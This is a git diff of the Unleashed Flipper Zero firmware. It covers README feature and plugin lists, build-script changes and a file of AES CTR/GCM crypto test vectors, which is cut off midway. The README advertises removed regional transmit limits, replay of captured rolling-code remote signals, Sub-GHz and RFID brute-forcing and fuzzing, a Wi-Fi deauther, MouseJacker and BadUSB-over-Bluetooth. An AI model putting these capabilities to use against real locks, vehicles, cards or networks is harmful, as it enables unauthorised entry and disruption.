Press OK in frequency analyzer to use detected frequency in Read modes [(by derskythe)](https://github.com/DarkFlippers/unleashed-firmware/pull/77) -- Sub-GHz -> Long press OK button in Sub-GHz Frequency analyzer to switch to Read menu [(by derskythe)](https://github.com/DarkFlippers/unleashed-firmware/pull/79) -- Lock device with pin(or regular lock if pin not set) by holding UP button on main screen [(by an4tur0r)](https://github.com/DarkFlippers/unleashed-firmware/pull/107) -* Sub-GHz -> Short press OK in frequency analyzer to save detected frequency for usage in Read modes -* Sub-GHz -> Long press OK button in Sub-GHz Frequency analyzer to switch to Read menu and automatically use selected frequency -* SubGHz -> New option to use timestamps + protocol name when you saving file, instead of random name - Enable in `Radio Settings -> Time in names = ON` -* SubGHz Bruteforcer plugin -> Time delay (between signals) setting (hold Up in main screen(says Up to Save)) + configure repeats in protocols list by pressing right button on selected protocol -* SubGHz -> Read mode UI improvements (scrolling text, + shows time when signal was received) (by @wosk) -* Sub-GHz -> External CC1101 module support (Hardware SPI used) -* SubGHz -> **Hold right in received signal list to delete selected signal** -* SubGHz -> **Custom buttons for Keeloq / Alutech AT4N / Nice Flor S / Somfy Telis / Security+ 2.0 / CAME Atomo** - now you can use arrow buttons to send signal with different button code -* SubGHz -> BFT Mitto / Somfy Telis / Nice Flor S / CAME Atomo, etc.. manual creation with programming new remote into receiver (use button 0xF for BFT Mitto, 0x8 (Prog) on Somfy Telis) -* SubGHz -> Debug mode counter increase settings (+1 -> +5, +10, default: +1) -* SubGHz -> Debug PIN output settings for protocol development -* Infrared -> `RCA` Protocol -* Infrared -> Debug TX PIN output settings -* Other small fixes and changes throughout -* See other changes in readme below +- **Sub-GHz** *lib & hal* + - regional TX restrictions removed + - Extra Sub-GHz frequencies + - frequency range can be extended in settings file (Warning: It can damage Flipper's hardware) + - Many rolling code [protocols](https://github.com/DarkFlippers/unleashed-firmware#current-modified-and-new-sub-ghz-protocols-list) now have the ability to save & send captured signals + - FAAC SLH (Spa) & BFT Mitto (keeloq secure with seed) manual creation + - External CC1101 module support [(by quen0n)](https://github.com/DarkFlippers/unleashed-firmware/pull/307) +- **Sub-GHz** *Main App* + - Save last used frequency [(by derskythe)](https://github.com/DarkFlippers/unleashed-firmware/pull/77) + - New frequency analyzer [(by ClusterM)](https://github.com/DarkFlippers/unleashed-firmware/pull/43) + - Press OK in frequency analyzer to use detected frequency in Read modes [(by derskythe)](https://github.com/DarkFlippers/unleashed-firmware/pull/77) + - Long press OK button in Sub-GHz Frequency analyzer to switch to Read menu [(by derskythe)](https://github.com/DarkFlippers/unleashed-firmware/pull/79) + - New option to use timestamps + protocol name when you saving file, instead of random name - Enable in `Radio Settings -> Time in names = ON` + - Read mode UI improvements (scrolling text, + shows time when signal was received) (by @wosk) + - External CC1101 module support (Hardware SPI used) + - **Hold right in received signal list to delete selected signal** + - **Custom buttons for Keeloq / Alutech AT4N / Nice Flor S / Somfy Telis / Security+ 2.0 / CAME Atomo** - now you can use arrow buttons to send signal with different button code + - `Add manually` menu extended with new protocols + - BFT Mitto / Somfy Telis / Nice Flor S / CAME Atomo, etc.. manual creation with programming new remote into receiver (use button 0xF for BFT Mitto, 0x8 (Prog) on Somfy Telis) + - Debug mode counter increase settings (+1 -> +5, +10, default: +1) + - Debug PIN output settings for protocol development + +- **Sub-GHz apps** *by unleashed team* + - Sub-GHz Bruteforce - static code brute-force plugin | + - Time delay (between signals) setting (hold Up in main screen(says Up to Save)) + configure repeats in protocols list by pressing right button on selected protocol + - Load your own file and select bytes you want to bruteforce or use preconfigured options in protocols list + - Sub-GHz Remote - remote control for 5 sub-ghz files | bind one file for each button + - use the built-in constructor or make config file by following this [instruction](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/SubGHzRemotePlugin.md) +- **Infrared** + - Recompiled IR TV Universal Remote for ALL buttons + - Universal remotes for Projectors, Fans, A/Cs and Audio(soundbars, etc.) -> Also always updated and verified by our team + - Infrared -> `RCA` Protocol + - Infrared -> Debug TX PIN output settings +- **NFC/RFID/iButton** + * LFRFID/iButton Fuzzer plugins + * Extra Mifare Classic keys + * `Add manually` -> Mifare Classic with custom UID + * Picopass/iClass plugin (now with emulation support!) included in releases +- **Quality of life & other features** + - Customizable Flipper name **Update! Now can be changed in Settings->Desktop** (by @xMasterX and @Willy-JL) + - Text Input UI element -> Cursor feature (by @Willy-JL) + - Byte Input Mini editor -> **Press UP** multiple times until the nibble editor appears + - Clock on Desktop -> `Settings -> Desktop -> Show Clock` + - Battery percentage display with different styles `Settings -> Desktop -> Battery View` + - More games in Dummy Mode -> click or hold any of arrow buttons + - Lock device with pin(or regular lock if pin not set) by holding UP button on main screen [(by an4tur0r)](https://github.com/DarkFlippers/unleashed-firmware/pull/107) + - **BadBT** plugin (BT version of BadKB) [(by Willy-JL, ClaraCrazy, XFW contributors)](https://github.com/ClaraCrazy/Flipper-Xtreme/tree/dev/applications/main/bad_kb) - (See in Applications->Tools) - (aka BadUSB via Bluetooth) + - BadUSB -> Keyboard layouts [(by rien > dummy-decoy)](https://github.com/dummy-decoy/flipperzero-firmware/tree/dummy_decoy/bad_usb_keyboard_layout) + - Custom community plugins and games added + all known working apps can be downloaded in extra pack in every release + - Other small fixes and changes throughout + - See other changes in readme below Also check the changelog in releases for latest updates! @@ -124,71 +138,23 @@ Our team is small and the guys are working on this project as much as they can s The amount of work done on this project is huge and we need your support, no matter how large or small. Even if you just say, "Thank you Unleashed firmware developers!" somewhere. Doing so will help us continue our work and will help drive us to make the firmware better every time. Also, regarding our releases, every build has and always will be free and open-source. There will be no paywall releases or closed-source apps within the firmware. As long as I am working on this project it will never happen. You can support us by using links or addresses below: -* **Boosty** (patreon alternative): https://boosty.to/mmxdev -* cloudtips (only RU payments accepted): https://pay.cloudtips.ru/p/7b3e9d65 -* YooMoney (only RU payments accepted): https://yoomoney.ru/fundraise/XA49mgQLPA0.221209 -* USDT(TRC20): `TSXcitMSnWXUFqiUfEXrTVpVewXy2cYhrs` -* BCH: `qquxfyzntuqufy2dx0hrfr4sndp0tucvky4sw8qyu3` -* ETH/BSC/ERC20-Tokens: `darkflippers.eth` (or `0xFebF1bBc8229418FF2408C07AF6Afa49152fEc6a`) -* BTC: `bc1q0np836jk9jwr4dd7p6qv66d04vamtqkxrecck9` -* DOGE: `D6R6gYgBn5LwTNmPyvAQR6bZ9EtGgFCpvv` -* LTC: `ltc1q3ex4ejkl0xpx3znwrmth4lyuadr5qgv8tmq8z9` -* XMR (Monero): `41xUz92suUu1u5Mu4qkrcs52gtfpu9rnZRdBpCJ244KRHf6xXSvVFevdf2cnjS7RAeYr5hn9MsEfxKoFDRSctFjG5fv1Mhn` -* TON: `EQCOqcnYkvzOZUV_9bPE_8oTbOrOF03MnF-VcJyjisTZmpGf` +|Service|Remark|Link/Wallet| +|-|-|-| +|**Boosty**|patreon alternative|https://boosty.to/mmxdev| +|cloudtips|only RU payments accepted|https://pay.cloudtips.ru/p/7b3e9d65| +|YooMoney|only RU payments accepted|https://yoomoney.ru/fundraise/XA49mgQLPA0.221209| +|USDT|(TRC20)|`TSXcitMSnWXUFqiUfEXrTVpVewXy2cYhrs`| +|BCH||`qquxfyzntuqufy2dx0hrfr4sndp0tucvky4sw8qyu3`| +|ETH|(BSC/ERC20-Tokens)|`darkflippers.eth` (or `0xFebF1bBc8229418FF2408C07AF6Afa49152fEc6a`)| +|BTC||`bc1q0np836jk9jwr4dd7p6qv66d04vamtqkxrecck9`| +|DOGE||`D6R6gYgBn5LwTNmPyvAQR6bZ9EtGgFCpvv`| +|LTC||`ltc1q3ex4ejkl0xpx3znwrmth4lyuadr5qgv8tmq8z9`| +|XMR|(Monero)| `41xUz92suUu1u5Mu4qkrcs52gtfpu9rnZRdBpCJ244KRHf6xXSvVFevdf2cnjS7RAeYr5hn9MsEfxKoFDRSctFjG5fv1Mhn`| +|TON||`EQCOqcnYkvzOZUV_9bPE_8oTbOrOF03MnF-VcJyjisTZmpGf`| ### Community apps included: -- **RFID Fuzzer** [(by @gid9798)](https://github.com/DarkFlippers/Multi_Fuzzer) (original by Ganapati & xMasterX) -- **iButton Fuzzer** [(by @gid9798)](https://github.com/DarkFlippers/Multi_Fuzzer) (original by xMasterX) -- **Sub-GHz bruteforcer** [(by @derskythe & xMasterX)](https://github.com/derskythe/flipperzero-subbrute) [(original by Ganapati & xMasterX)](https://github.com/DarkFlippers/unleashed-firmware/pull/57) -- **Sub-GHz playlist** [(by darmiel)](https://github.com/DarkFlippers/unleashed-firmware/pull/62) -- ESP8266 Deauther plugin [(by SequoiaSan)](https://github.com/SequoiaSan/FlipperZero-Wifi-ESP8266-Deauther-Module) -- WiFi Scanner plugin [(by SequoiaSan)](https://github.com/SequoiaSan/FlipperZero-WiFi-Scanner_Module) -- MultiConverter plugin [(by theisolinearchip)](https://github.com/theisolinearchip/flipperzero_stuff) -- WAV Player [(OFW: DrZlo13)](https://github.com/flipperdevices/flipperzero-firmware/tree/zlo/wav-player) - Fixed and improved by [LTVA1](https://github.com/LTVA1/wav_player) -> Also outputs audio on `PA6` - `3(A6)` pin -- Barcode Generator [(by Kingal1337)](https://github.com/Kingal1337/flipper-barcode-generator) -- GPIO: Sentry Safe plugin [(by H4ckd4ddy)](https://github.com/H4ckd4ddy/flipperzero-sentry-safe-plugin) -- ESP32: WiFi Marauder companion plugin [(by 0xchocolate)](https://github.com/0xchocolate/flipperzero-wifi-marauder) - Saving .pcap on flipper microSD [by tcpassos](https://github.com/tcpassos/flipperzero-firmware-with-wifi-marauder-companion) -> Only with custom marauder build (It is necessary to uncomment "#define WRITE_PACKETS_SERIAL" in configs.h (in marauder fw) and compile the firmware for the wifi board.) Or download precompiled build -> [Download esp32_marauder_ver_flipper_sd_serial.bin](https://github.com/justcallmekoko/ESP32Marauder/releases/latest) -- NRF24: Sniffer & MouseJacker (with changes) [(by mothball187)](https://github.com/mothball187/flipperzero-nrf24/tree/main/mousejacker) -- Simple Clock (timer by GMMan) [(original by CompaqDisc)](https://gist.github.com/CompaqDisc/4e329c501bd03c1e801849b81f48ea61) -- **Sub-GHz Remote** [(by @gid9798)](https://github.com/gid9798) -- Spectrum Analyzer (with changes) [(by jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) - [Ultra Narrow mode & scan channels non-consecutively](https://github.com/theY4Kman/flipperzero-firmware/commits?author=theY4Kman) -- Metronome [(by panki27)](https://github.com/panki27/Metronome) -- DTMF Dolphin [(by litui)](https://github.com/litui/dtmf_dolphin) -- **TOTP (Authenticator)** [(by akopachov)](https://github.com/akopachov/flipper-zero_authenticator) -- GPS [(by ezod)](https://github.com/ezod/flipperzero-gps) works with module `NMEA 0183` via UART (13TX, 14RX, GND pins on Flipper) -- i2c Tools [(by NaejEL)](https://github.com/NaejEL/flipperzero-i2ctools) - C0 -> SCL / C1 -> SDA / GND -> GND | 3v3 logic levels only! -- HC-SR04 Distance sensor - Ported and modified by @xMasterX [(original by Sanqui)](https://github.com/Sanqui/flipperzero-firmware/tree/hc_sr04) - How to connect -> (5V -> VCC) / (GND -> GND) / (13|TX -> Trig) / (14|RX -> Echo) -- Morse Code [(by wh00hw)](https://github.com/wh00hw/MorseCodeFAP) -- **Unitemp - Temperature sensors reader** (DHT11/22, DS18B20, BMP280, HTU21x and more) [(by quen0n)](https://github.com/quen0n/unitemp-flipperzero) -- Lightmeter [(by oleksiikutuzov)](https://github.com/oleksiikutuzov/flipperzero-lightmeter) -- HEX Viewer [(by QtRoS)](https://github.com/QtRoS/flipper-zero-hex-viewer) -- POCSAG Pager [(by xMasterX & Shmuma)](https://github.com/xMasterX/flipper-pager) -- Text Viewer [(by kowalski7cc & kyhwana)](https://github.com/kowalski7cc/flipper-zero-text-viewer/tree/refactor-text-app) -- **UART Terminal** [(by cool4uma)](https://github.com/cool4uma/UART_Terminal/tree/main) -- **ProtoView** [(by antirez)](https://github.com/antirez/protoview) -- **SWD Probe** [(by g3gg0)](https://github.com/g3gg0/flipper-swd_probe) -- IR Scope [(by kallanreed)](https://github.com/DarkFlippers/unleashed-firmware/pull/407) -- **BadBT** plugin (BT version of BadKB) [(by Willy-JL, ClaraCrazy, XFW contributors)](https://github.com/ClaraCrazy/Flipper-Xtreme/tree/dev/applications/main/bad_kb) (See in Applications->Tools) - (aka BadUSB via Bluetooth) -- **Mifare Nested** [(by AloneLiberty)](https://github.com/AloneLiberty/FlipperNested) - Works with PC and python app `FlipperNested` -- **NFC Maker** plugin (make tags with URLs, Wifi and other things) [(by Willy-JL)](https://github.com/ClaraCrazy/Flipper-Xtreme/tree/dev/applications/external/nfc_maker) -- ESP32-CAM -> Camera Suite [(by CodyTolene)](https://github.com/CodyTolene/Flipper-Zero-Camera-Suite) - -Games: -- DOOM (ported and fixed by @xMasterX & @Svarich & @hedger) [(original by p4nic4ttack)](https://github.com/p4nic4ttack/doom-flipper-zero/) -- Zombiez [(Reworked By DevMilanIan)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/pull/240) [(Original By Dooskington)](https://github.com/Dooskington/flipperzero-zombiez) -- Flappy Bird [(by DroomOne)](https://github.com/DroomOne/flipperzero-firmware/tree/dev/applications/flappy_bird) -- Arkanoid (refactored by xMasterX) [(by gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) -- Tic Tac Toe (refactored by xMasterX) [(by gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) -- Tetris (with fixes) [(by jeffplang)](https://github.com/jeffplang/flipperzero-firmware/tree/tetris_game/applications/tetris_game) -- Minesweeper [(by panki27)](https://github.com/panki27/minesweeper) -- Heap Defence (aka Stack Attack) - Ported to latest firmware by @xMasterX - [(original by wquinoa & Vedmein)](https://github.com/Vedmein/flipperzero-firmware/tree/hd/svisto-perdelki) -- Game15 [(by x27)](https://github.com/x27/flipperzero-game15) -- Solitaire [(by teeebor)](https://github.com/teeebor/flipper_games) -- BlackJack [(by teeebor)](https://github.com/teeebor/flipper_games) -- 2048 game [(by eugene-kirzhanov)](https://github.com/eugene-kirzhanov/flipper-zero-2048-game) -- Bomberduck [(by leo-need-more-coffee)](https://github.com/leo-need-more-coffee/flipperzero-bomberduck) -- JetPack Joyride [(by timstrasser)](https://github.com/timstrasser) +#### See full list and sources here: https://github.com/xMasterX/all-the-plugins/tree/dev # Instructions @@ -234,9 +200,9 @@ Games: ## [- How to use: Unitemp - Temperature sensors reader](https://github.com/quen0n/unitemp-flipperzero#readme) -## [- How to use: [NMEA] GPS](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/applications/external/gps_nmea_uart/README.md) +## [- How to use: [NMEA] GPS](https://github.com/xMasterX/all-the-plugins/blob/dev/base_pack/gps_nmea_uart/README.md) -## [- How to use: i2c Tools](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/applications/external/flipper_i2ctools/README.md) +## [- How to use: i2c Tools](https://github.com/xMasterX/all-the-plugins/blob/dev/base_pack/flipper_i2ctools/README.md) ## [- How to use: [NRF24] plugins](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/NRF24.md) @@ -274,7 +240,7 @@ Games: * CLion IDE - How to setup workspace for flipper firmware development: [https://krasovs.ky/2022/11/01/flipper-zero-clion.html](https://krasovs.ky/2022/11/01/flipper-zero-clion.html) * Docs by atmanos / How to write your own app (outdated API): [https://flipper.atmanos.com/docs/overview/intro](https://flipper.atmanos.com/docs/overview/intro) -* Official Docs: [http://docs.flipperzero.one](http://docs.flipperzero.one) +* Official Docs: [docs.flipper.net](https://docs.flipper.net/) * Official Forum: [forum.flipperzero.one](https://forum.flipperzero.one/) # Project structure diff --git a/SConstruct b/SConstruct index 3ea360979..0b3d4ac1a 100644 --- a/SConstruct +++ b/SConstruct @@ -45,6 +45,7 @@ distenv = coreenv.Clone( ], ENV=os.environ, UPDATE_BUNDLE_DIR="dist/${DIST_DIR}/f${TARGET_HW}-update-${DIST_SUFFIX}", + VSCODE_LANG_SERVER=ARGUMENTS.get("LANG_SERVER", "cpptools"), ) firmware_env = distenv.AddFwProject( @@ -327,6 +328,9 @@ distenv.PhonyTarget( "cli", "${PYTHON3} ${FBT_SCRIPT_DIR}/serial_cli.py -p ${FLIP_PORT}" ) +# Update WiFi devboard firmware +distenv.PhonyTarget("devboard_flash", "${PYTHON3} ${FBT_SCRIPT_DIR}/wifi_board.py") + # Find blackmagic probe distenv.PhonyTarget( @@ -345,7 +349,14 @@ distenv.PhonyTarget( ) # Prepare vscode environment -vscode_dist = distenv.Install("#.vscode", distenv.Glob("#.vscode/example/*")) +VSCODE_LANG_SERVER = cmd_environment["LANG_SERVER"] +vscode_dist = distenv.Install( + "#.vscode", + [ + distenv.Glob("#.vscode/example/*.json"), + distenv.Glob(f"#.vscode/example/{VSCODE_LANG_SERVER}/*.json"), + ], +) distenv.Precious(vscode_dist) distenv.NoClean(vscode_dist) distenv.Alias("vscode_dist", vscode_dist) diff --git a/applications/ReadMe.md b/applications/ReadMe.md index 10e54ce22..de465832a 100644 --- a/applications/ReadMe.md +++ b/applications/ReadMe.md @@ -35,21 +35,6 @@ Applications for main Flipper menu. - `u2f` - U2F Application -## External - -External applications deployed to SD Card - -- `clock` - Clock application -- `dap_link` - DAP Link OnChip debugger -- `hid_app` - USB/BT Remote controller -- `music_player` - Music player app (demo) -- `nfc_magic` - NFC MFC Magic card application -- `picopass` - Picopass reader / writer -- `signal_generator` - Signal generator app: PWM and clock generator -- `snake_game` - Snake game application -- `spi_mem_manager` - SPI Memory reader / flasher -- `weather_station` - SubGHz weather station - ## services Background services providing system APIs to applications. diff --git a/applications/debug/unit_tests/application.fam b/applications/debug/unit_tests/application.fam index 949bb3fc2..ad9a278f3 100644 --- a/applications/debug/unit_tests/application.fam +++ b/applications/debug/unit_tests/application.fam @@ -3,6 +3,7 @@ App( apptype=FlipperAppType.STARTUP, entry_point="unit_tests_on_system_start", cdefines=["APP_UNIT_TESTS"], + requires=["system_settings"], provides=["delay_test"], order=100, ) diff --git a/applications/debug/unit_tests/furi_hal/furi_hal_crypto_tests.c b/applications/debug/unit_tests/furi_hal/furi_hal_crypto_tests.c new file mode 100644 index 000000000..b06d51130 --- /dev/null +++ b/applications/debug/unit_tests/furi_hal/furi_hal_crypto_tests.c @@ -0,0 +1,602 @@ +#include +#include +#include +#include "../minunit.h" + +static const uint8_t key_ctr_1[32] = { + 0x77, 0x6B, 0xEF, 0xF2, 0x85, 0x1D, 0xB0, 0x6F, 0x4C, 0x8A, 0x05, 0x42, 0xC8, 0x69, 0x6F, 0x6C, + 0x6A, 0x81, 0xAF, 0x1E, 0xEC, 0x96, 0xB4, 0xD3, 0x7F, 0xC1, 0xD6, 0x89, 0xE6, 0xC1, 0xC1, 0x04, +}; +static const uint8_t iv_ctr_1[16] = { + 0x00, + 0x00, + 0x00, + 0x60, + 0xDB, + 0x56, + 0x72, + 0xC9, + 0x7A, + 0xA8, + 0xF0, + 0xB2, + 0x00, + 0x00, + 0x00, + 0x01, +}; +static const uint8_t pt_ctr_1[16] = { + 0x53, + 0x69, + 0x6E, + 0x67, + 0x6C, + 0x65, + 0x20, + 0x62, + 0x6C, + 0x6F, + 0x63, + 0x6B, + 0x20, + 0x6D, + 0x73, + 0x67, +}; +static const uint8_t tv_ctr_ct_1[16] = { + 0x14, + 0x5A, + 0xD0, + 0x1D, + 0xBF, + 0x82, + 0x4E, + 0xC7, + 0x56, + 0x08, + 0x63, + 0xDC, + 0x71, + 0xE3, + 0xE0, + 0xC0, +}; + +static const uint8_t key_ctr_2[32] = { + 0x77, 0x6B, 0xEF, 0xF2, 0x85, 0x1D, 0xB0, 0x6F, 0x4C, 0x8A, 0x05, 0x42, 0xC8, 0x69, 0x6F, 0x6C, + 0x6A, 0x81, 0xAF, 0x1E, 0xEC, 0x96, 0xB4, 0xD3, 0x7F, 0xC1, 0xD6, 0x89, 0xE6, 0xC1, 0xC1, 0x04, +}; +static const uint8_t iv_ctr_2[16] = { + 0x00, + 0x00, + 0x00, + 0x60, + 0xDB, + 0x56, + 0x72, + 0xC9, + 0x7A, + 0xA8, + 0xF0, + 0xB2, + 0x00, + 0x00, + 0x00, + 0x01, +}; +static const uint8_t pt_ctr_2[0] = {}; +//static const uint8_t tv_ctr_ct_2[0] = {}; + +static const uint8_t key_ctr_3[32] = { + 0xF6, 0xD6, 0x6D, 0x6B, 0xD5, 0x2D, 0x59, 0xBB, 0x07, 0x96, 0x36, 0x58, 0x79, 0xEF, 0xF8, 0x86, + 0xC6, 0x6D, 0xD5, 0x1A, 0x5B, 0x6A, 0x99, 0x74, 0x4B, 0x50, 0x59, 0x0C, 0x87, 0xA2, 0x38, 0x84, +}; +static const uint8_t iv_ctr_3[16] = { + 0x00, + 0xFA, + 0xAC, + 0x24, + 0xC1, + 0x58, + 0x5E, + 0xF1, + 0x5A, + 0x43, + 0xD8, + 0x75, + 0x00, + 0x00, + 0x00, + 0x01, +}; +static const uint8_t pt_ctr_3[32] = { + 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, + 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, +}; +static const uint8_t tv_ctr_ct_3[32] = { + 0xF0, 0x5E, 0x23, 0x1B, 0x38, 0x94, 0x61, 0x2C, 0x49, 0xEE, 0x00, 0x0B, 0x80, 0x4E, 0xB2, 0xA9, + 0xB8, 0x30, 0x6B, 0x50, 0x8F, 0x83, 0x9D, 0x6A, 0x55, 0x30, 0x83, 0x1D, 0x93, 0x44, 0xAF, 0x1C, +}; + +static const uint8_t key_ctr_4[32] = { + 0xFF, 0x7A, 0x61, 0x7C, 0xE6, 0x91, 0x48, 0xE4, 0xF1, 0x72, 0x6E, 0x2F, 0x43, 0x58, 0x1D, 0xE2, + 0xAA, 0x62, 0xD9, 0xF8, 0x05, 0x53, 0x2E, 0xDF, 0xF1, 0xEE, 0xD6, 0x87, 0xFB, 0x54, 0x15, 0x3D, +}; +static const uint8_t iv_ctr_4[16] = { + 0x00, + 0x1C, + 0xC5, + 0xB7, + 0x51, + 0xA5, + 0x1D, + 0x70, + 0xA1, + 0xC1, + 0x11, + 0x48, + 0x00, + 0x00, + 0x00, + 0x01, +}; +static const uint8_t pt_ctr_4[36] = { + 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, + 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, + 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, +}; +static const uint8_t tv_ctr_ct_4[36] = { + 0xEB, 0x6C, 0x52, 0x82, 0x1D, 0x0B, 0xBB, 0xF7, 0xCE, 0x75, 0x94, 0x46, + 0x2A, 0xCA, 0x4F, 0xAA, 0xB4, 0x07, 0xDF, 0x86, 0x65, 0x69, 0xFD, 0x07, + 0xF4, 0x8C, 0xC0, 0xB5, 0x83, 0xD6, 0x07, 0x1F, 0x1E, 0xC0, 0xE6, 0xB8, +}; + +static const uint8_t key_ctr_5[32] = { + 0xFF, 0x7A, 0x61, 0x7C, 0xE6, 0x91, 0x48, 0xE4, 0xF1, 0x72, 0x6E, 0x2F, 0x43, 0x58, 0x1D, 0xE2, + 0xAA, 0x62, 0xD9, 0xF8, 0x05, 0x53, 0x2E, 0xDF, 0xF1, 0xEE, 0xD6, 0x87, 0xFB, 0x54, 0x15, 0x3D, +}; +static const uint8_t iv_ctr_5[16] = { + 0x00, + 0x1C, + 0xC5, + 0xB7, + 0x51, + 0xA5, + 0x1D, + 0x70, + 0xA1, + 0xC1, + 0x11, + 0x48, + 0x00, + 0x00, + 0x00, + 0x01, +}; +static const uint8_t pt_ctr_5[0] = {}; +//static const uint8_t tv_ctr_ct_5[0] = {}; + +static const uint8_t key_gcm_1[32] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +}; +static const uint8_t iv_gcm_1[16] = { + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, +}; +static const uint8_t pt_gcm_1[0] = {}; +//static const uint8_t tv_gcm_ct_1[0] = {}; +static const uint8_t aad_gcm_1[0] = {}; +static const uint8_t tv_gcm_tag_1[16] = { + 0x53, + 0x0F, + 0x8A, + 0xFB, + 0xC7, + 0x45, + 0x36, + 0xB9, + 0xA9, + 0x63, + 0xB4, + 0xF1, + 0xC4, + 0xCB, + 0x73, + 0x8B, +}; + +static const uint8_t key_gcm_2[32] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +}; +static const uint8_t iv_gcm_2[16] = { + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, +}; +static const uint8_t pt_gcm_2[16] = { + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, +}; +static const uint8_t tv_gcm_ct_2[16] = { + 0xCE, + 0xA7, + 0x40, + 0x3D, + 0x4D, + 0x60, + 0x6B, + 0x6E, + 0x07, + 0x4E, + 0xC5, + 0xD3, + 0xBA, + 0xF3, + 0x9D, + 0x18, +}; +static const uint8_t aad_gcm_2[0] = {}; +static const uint8_t tv_gcm_tag_2[16] = { + 0xD0, + 0xD1, + 0xC8, + 0xA7, + 0x99, + 0x99, + 0x6B, + 0xF0, + 0x26, + 0x5B, + 0x98, + 0xB5, + 0xD4, + 0x8A, + 0xB9, + 0x19, +}; + +static const uint8_t key_gcm_3[32] = { + 0xFE, 0xFF, 0xE9, 0x92, 0x86, 0x65, 0x73, 0x1C, 0x6D, 0x6A, 0x8F, 0x94, 0x67, 0x30, 0x83, 0x08, + 0xFE, 0xFF, 0xE9, 0x92, 0x86, 0x65, 0x73, 0x1C, 0x6D, 0x6A, 0x8F, 0x94, 0x67, 0x30, 0x83, 0x08, +}; +static const uint8_t iv_gcm_3[16] = { + 0xCA, + 0xFE, + 0xBA, + 0xBE, + 0xFA, + 0xCE, + 0xDB, + 0xAD, + 0xDE, + 0xCA, + 0xF8, + 0x88, + 0x00, + 0x00, + 0x00, + 0x00, +}; +static const uint8_t pt_gcm_3[64] = { + 0xD9, 0x31, 0x32, 0x25, 0xF8, 0x84, 0x06, 0xE5, 0xA5, 0x59, 0x09, 0xC5, 0xAF, 0xF5, 0x26, 0x9A, + 0x86, 0xA7, 0xA9, 0x53, 0x15, 0x34, 0xF7, 0xDA, 0x2E, 0x4C, 0x30, 0x3D, 0x8A, 0x31, 0x8A, 0x72, + 0x1C, 0x3C, 0x0C, 0x95, 0x95, 0x68, 0x09, 0x53, 0x2F, 0xCF, 0x0E, 0x24, 0x49, 0xA6, 0xB5, 0x25, + 0xB1, 0x6A, 0xED, 0xF5, 0xAA, 0x0D, 0xE6, 0x57, 0xBA, 0x63, 0x7B, 0x39, 0x1A, 0xAF, 0xD2, 0x55, +}; +static const uint8_t tv_gcm_ct_3[64] = { + 0x52, 0x2D, 0xC1, 0xF0, 0x99, 0x56, 0x7D, 0x07, 0xF4, 0x7F, 0x37, 0xA3, 0x2A, 0x84, 0x42, 0x7D, + 0x64, 0x3A, 0x8C, 0xDC, 0xBF, 0xE5, 0xC0, 0xC9, 0x75, 0x98, 0xA2, 0xBD, 0x25, 0x55, 0xD1, 0xAA, + 0x8C, 0xB0, 0x8E, 0x48, 0x59, 0x0D, 0xBB, 0x3D, 0xA7, 0xB0, 0x8B, 0x10, 0x56, 0x82, 0x88, 0x38, + 0xC5, 0xF6, 0x1E, 0x63, 0x93, 0xBA, 0x7A, 0x0A, 0xBC, 0xC9, 0xF6, 0x62, 0x89, 0x80, 0x15, 0xAD, +}; +static const uint8_t aad_gcm_3[0] = {}; +static const uint8_t tv_gcm_tag_3[16] = { + 0xB0, + 0x94, + 0xDA, + 0xC5, + 0xD9, + 0x34, + 0x71, + 0xBD, + 0xEC, + 0x1A, + 0x50, + 0x22, + 0x70, + 0xE3, + 0xCC, + 0x6C, +}; + +static const uint8_t key_gcm_4[32] = { + 0xFE, 0xFF, 0xE9, 0x92, 0x86, 0x65, 0x73, 0x1C, 0x6D, 0x6A, 0x8F, 0x94, 0x67, 0x30, 0x83, 0x08, + 0xFE, 0xFF, 0xE9, 0x92, 0x86, 0x65, 0x73, 0x1C, 0x6D, 0x6A, 0x8F, 0x94, 0x67, 0x30, 0x83, 0x08, +}; +static const uint8_t iv_gcm_4[16] = { + 0xCA, + 0xFE, + 0xBA, + 0xBE, + 0xFA, + 0xCE, + 0xDB, + 0xAD, + 0xDE, + 0xCA, + 0xF8, + 0x88, + 0x00, + 0x00, + 0x00, + 0x00, +}; +static const uint8_t pt_gcm_4[60] = { + 0xD9, 0x31, 0x32, 0x25, 0xF8, 0x84, 0x06, 0xE5, 0xA5, 